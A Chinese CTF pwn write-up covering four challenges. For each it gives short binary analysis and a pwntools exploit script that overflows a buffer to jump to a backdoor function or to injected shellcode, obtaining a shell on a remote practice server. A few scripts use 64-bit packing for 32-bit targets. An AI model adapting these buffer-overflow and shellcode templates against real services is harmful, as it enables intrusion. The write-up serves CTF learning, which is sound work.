九、你是大佬还是菜鸡?
老规矩查看一下文件

64位开启nx保护
进入ida查看一下

有两个函数,一个叫dalao,一个叫caiji
输入1进入大佬函数,输入2进入菜鸡函数,先进去大佬函数看一下

淦,被骂了;进入菜鸡函数看一下

一个溢出漏洞,shift+F12查找字符串

有bin/sh
跟踪一下发现一个标准的后门函数

思路:输入2进入菜鸡函数,然后利用溢出跳到后门函数位置
编写
from pwn import *
r =remote("120.46.59.242", 2097)
bin_sh=0x4008B0
padding=0x20+8
r.sendlineafter(b'2. Cai Ji\n',b'2')
payload=b'a'*padding+p64(bin_sh)
r.sendline(payload)
r.interactive()
然后cat flag即可
十、Easy_ShellCode
老规矩查看一下文件

32位没有任何保护
IDA~启动!

main函数中有一个Start函数,直接进入Start函数查看 (main内容不截图了)
有两次写入的地方,shift+F12查看字符串

没有任何bin/sh cat flag的迹象
思路:通过第一次写入向栈中写入shellcode,通过第二次写入造成溢出跳回写入第一次shellcode的位置
第一次写入是str变量,双击str变量找到str开始写入的位置

记录一下 str_addr=0x804A080
然后偏移量 0x68+4
编写脚本
from pwn import *
r =remote("120.46.59.242", 2052)
shellcode=asm(shellcraft.sh())
str_addr=0x804A080
padding=0x68+4
r.recvuntil("Please Input:\n")
r.sendline(shellcode)
r.recvuntil("What,s your name ?:\n")
payload=b'a'*padding+p64(str_addr)
r.sendline(payload)
r.interactive()
cat flag即可
十一、小狗汪汪汪
查看一下

32位开启nx保护
ida启动
打开查看main函数后有一个dog函数,直接进入dog函数查看

标准,太标准了 一个完美的溢出。shift+F12查看字符串

艾玛,这也有。跟踪一下

后门函数
思路:利用dog函数中的溢出跳到getshell函数
编写
from pwn import *
r =remote("120.46.59.242", 2078)
bin_sh=0x804859B
padding=0x9+4
payload=b'a'*padding+p64(bin_sh)
r.sendline(payload)
r.interactive()
然后cat flag即可
十二、play
查看

ida
main里有一个play函数,直接进入play函数

两次写入,第一次red 第二次gets
溢出漏洞
shift+F12

没有后门函数
思路:同第十题一样,利用第一次red写入后门函数,第二次gets溢出跳转到后门函数中(没有开NX保护)
记录一下第一次写入的buf地址:0x6010A0

记录偏移量:0x30+8
编写脚本
from pwn import *
r =remote("120.46.59.242", 2064)
context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
padding=0x30+8
bss_addr=0x6010A0
r.recvuntil("I think you must enjoy playing.\n")
r.sendline(shellcode)
payload=b'a'*padding+p64(bss_addr)
r.sendline(payload)
r.interactive()
cat flag即可
本文描述了一系列关于32位和64位程序的黑客攻击案例,涉及nx保护、溢出漏洞利用、寻找后门函数以及使用shellcode实现远程执行的过程。通过IDA进行分析并利用pwn技术在不同的环境中执行payload获取flag。
1132

被折叠的 条评论
为什么被折叠?



